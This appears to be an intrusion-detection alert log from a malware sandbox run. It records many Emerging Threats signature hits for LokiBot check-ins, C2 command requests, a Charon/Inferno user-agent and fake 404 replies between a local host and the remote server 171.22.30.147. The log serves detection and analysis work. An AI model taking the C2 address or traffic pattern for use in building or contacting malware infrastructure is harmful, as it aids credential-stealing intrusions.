Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749749802025381 01/05/23-08:52:25.162571
SID:	2025381
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749989802021641 01/05/23-08:53:37.099082
SID:	2021641
Source Port:	49989
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749836802024313 01/05/23-08:52:51.681664
SID:	2024313
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750071802825766 01/05/23-08:54:00.426977
SID:	2825766
Source Port:	50071
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749838802825766 01/05/23-08:52:52.824149
SID:	2825766
Source Port:	49838
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497782025483 01/05/23-08:52:35.041705
SID:	2025483
Source Port:	80
Destination Port:	49778
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749747802024313 01/05/23-08:52:24.577114
SID:	2024313
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749829802825766 01/05/23-08:52:49.001962
SID:	2825766
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749927802825766 01/05/23-08:53:18.426652
SID:	2825766
Source Port:	49927
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497402025483 01/05/23-08:52:22.715646
SID:	2025483
Source Port:	80
Destination Port:	49740
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749990802025381 01/05/23-08:53:37.383838
SID:	2025381
Source Port:	49990
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750058802024318 01/05/23-08:53:57.002594
SID:	2024318
Source Port:	50058
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749750802024318 01/05/23-08:52:25.450968
SID:	2024318
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750002802825766 01/05/23-08:53:40.505314
SID:	2825766
Source Port:	50002
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749825802021641 01/05/23-08:52:47.903129
SID:	2021641
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750061802024313 01/05/23-08:53:57.824423
SID:	2024313
Source Port:	50061
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750058802024313 01/05/23-08:53:57.002594
SID:	2024313
Source Port:	50058
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749736802021641 01/05/23-08:52:21.543284
SID:	2021641
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497372025483 01/05/23-08:52:21.896475
SID:	2025483
Source Port:	80
Destination Port:	49737
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750061802024318 01/05/23-08:53:57.824423
SID:	2024318
Source Port:	50061
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498772025483 01/05/23-08:53:03.510914
SID:	2025483
Source Port:	80
Destination Port:	49877
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749726802825766 01/05/23-08:52:18.702884
SID:	2825766
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749750802024313 01/05/23-08:52:25.450968
SID:	2024313
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749707802021641 01/05/23-08:52:10.342729
SID:	2021641
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749796802021641 01/05/23-08:52:39.986568
SID:	2021641
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749864802025381 01/05/23-08:52:59.960618
SID:	2025381
Source Port:	49864
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749767802024313 01/05/23-08:52:30.299348
SID:	2024313
Source Port:	49767
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749856802024318 01/05/23-08:52:57.793570
SID:	2024318
Source Port:	49856
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749951802021641 01/05/23-08:53:24.927407
SID:	2021641
Source Port:	49951
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749959802025381 01/05/23-08:53:28.075379
SID:	2025381
Source Port:	49959
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749862802021641 01/05/23-08:52:59.436708
SID:	2021641
Source Port:	49862
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500372025483 01/05/23-08:53:51.398803
SID:	2025483
Source Port:	80
Destination Port:	50037
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749767802024318 01/05/23-08:52:30.299348
SID:	2024318
Source Port:	49767
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749898802825766 01/05/23-08:53:09.845609
SID:	2825766
Source Port:	49898
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749964802825766 01/05/23-08:53:30.400374
SID:	2825766
Source Port:	49964
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749953802025381 01/05/23-08:53:25.469204
SID:	2025381
Source Port:	49953
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500152025483 01/05/23-08:53:44.078205
SID:	2025483
Source Port:	80
Destination Port:	50015
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499912025483 01/05/23-08:53:37.704453
SID:	2025483
Source Port:	80
Destination Port:	49991
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499942025483 01/05/23-08:53:38.493200
SID:	2025483
Source Port:	80
Destination Port:	49994
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750057802025381 01/05/23-08:53:56.743180
SID:	2025381
Source Port:	50057
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498052025483 01/05/23-08:52:42.560455
SID:	2025483
Source Port:	80
Destination Port:	49805
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750060802025381 01/05/23-08:53:57.543966
SID:	2025381
Source Port:	50060
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749948802024313 01/05/23-08:53:24.079081
SID:	2024313
Source Port:	49948
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749714802825766 01/05/23-08:52:13.349412
SID:	2825766
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749710802021641 01/05/23-08:52:11.662757
SID:	2021641
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749779802024313 01/05/23-08:52:35.235559
SID:	2024313
Source Port:	49779
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749723802825766 01/05/23-08:52:17.811814
SID:	2825766
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749908802021641 01/05/23-08:53:13.214132
SID:	2021641
Source Port:	49908
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749812802825766 01/05/23-08:52:44.412618
SID:	2825766
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750055802024313 01/05/23-08:53:56.183544
SID:	2024313
Source Port:	50055
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750034802825766 01/05/23-08:53:50.478539
SID:	2825766
Source Port:	50034
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497622025483 01/05/23-08:52:28.957388
SID:	2025483
Source Port:	80
Destination Port:	49762
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497432025483 01/05/23-08:52:23.546435
SID:	2025483
Source Port:	80
Destination Port:	49743
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749917802021641 01/05/23-08:53:15.635846
SID:	2021641
Source Port:	49917
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497842025483 01/05/23-08:52:36.757244
SID:	2025483
Source Port:	80
Destination Port:	49784
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499502025483 01/05/23-08:53:24.713779
SID:	2025483
Source Port:	80
Destination Port:	49950
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497212025483 01/05/23-08:52:17.311222
SID:	2025483
Source Port:	80
Destination Port:	49721
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749865802024313 01/05/23-08:53:00.234414
SID:	2024313
Source Port:	49865
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749867802025381 01/05/23-08:53:00.773467
SID:	2025381
Source Port:	49867
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749954802024318 01/05/23-08:53:25.726692
SID:	2024318
Source Port:	49954
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749894802021641 01/05/23-08:53:08.006895
SID:	2021641
Source Port:	49894
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749741802024313 01/05/23-08:52:22.916909
SID:	2024313
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749954802024313 01/05/23-08:53:25.726692
SID:	2024313
Source Port:	49954
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749948802024318 01/05/23-08:53:24.079081
SID:	2024318
Source Port:	49948
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750015802021641 01/05/23-08:53:43.993137
SID:	2021641
Source Port:	50015
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749778802025381 01/05/23-08:52:34.958959
SID:	2025381
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749865802024318 01/05/23-08:53:00.234414
SID:	2024318
Source Port:	49865
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749741802024318 01/05/23-08:52:22.916909
SID:	2024318
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749977802021641 01/05/23-08:53:33.899852
SID:	2021641
Source Port:	49977
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749996802825766 01/05/23-08:53:38.933239
SID:	2825766
Source Port:	49996
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499722025483 01/05/23-08:53:32.654908
SID:	2025483
Source Port:	80
Destination Port:	49972
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749921802025381 01/05/23-08:53:16.794242
SID:	2025381
Source Port:	49921
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498142025483 01/05/23-08:52:45.034058
SID:	2025483
Source Port:	80
Destination Port:	49814
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749703802025381 01/05/23-08:52:08.565296
SID:	2025381
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750031802025381 01/05/23-08:53:49.661487
SID:	2025381
Source Port:	50031
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749967802825766 01/05/23-08:53:31.230819
SID:	2825766
Source Port:	49967
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749789802825766 01/05/23-08:52:38.076275
SID:	2825766
Source Port:	49789
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750012802024318 01/05/23-08:53:43.190304
SID:	2024318
Source Port:	50012
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749928802024318 01/05/23-08:53:18.678448
SID:	2024318
Source Port:	49928
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499412025483 01/05/23-08:53:22.247388
SID:	2025483
Source Port:	80
Destination Port:	49941
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750074802825766 01/05/23-08:54:01.233569
SID:	2825766
Source Port:	50074
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749928802024313 01/05/23-08:53:18.678448
SID:	2024313
Source Port:	49928
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749924802825766 01/05/23-08:53:17.587003
SID:	2825766
Source Port:	49924
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749727802024318 01/05/23-08:52:18.985108
SID:	2024318
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497562025483 01/05/23-08:52:27.312696
SID:	2025483
Source Port:	80
Destination Port:	49756
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498922025483 01/05/23-08:53:07.550899
SID:	2025483
Source Port:	80
Destination Port:	49892
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749746802825766 01/05/23-08:52:24.299560
SID:	2825766
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497282025483 01/05/23-08:52:19.353553
SID:	2025483
Source Port:	80
Destination Port:	49728
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749822802021641 01/05/23-08:52:47.112264
SID:	2021641
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750055802024318 01/05/23-08:53:56.183544
SID:	2024318
Source Port:	50055
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750031802825766 01/05/23-08:53:49.661487
SID:	2825766
Source Port:	50031
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749970802025381 01/05/23-08:53:32.043326
SID:	2025381
Source Port:	49970
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750035802024313 01/05/23-08:53:50.741604
SID:	2024313
Source Port:	50035
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749993802025381 01/05/23-08:53:38.145026
SID:	2025381
Source Port:	49993
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749845802021641 01/05/23-08:52:54.838950
SID:	2021641
Source Port:	49845
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749707802024318 01/05/23-08:52:10.342729
SID:	2024318
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749810802024313 01/05/23-08:52:43.863274
SID:	2024313
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749707802024313 01/05/23-08:52:10.342729
SID:	2024313
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749810802024318 01/05/23-08:52:43.863274
SID:	2024318
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749750802021641 01/05/23-08:52:25.450968
SID:	2021641
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749792802025381 01/05/23-08:52:38.887901
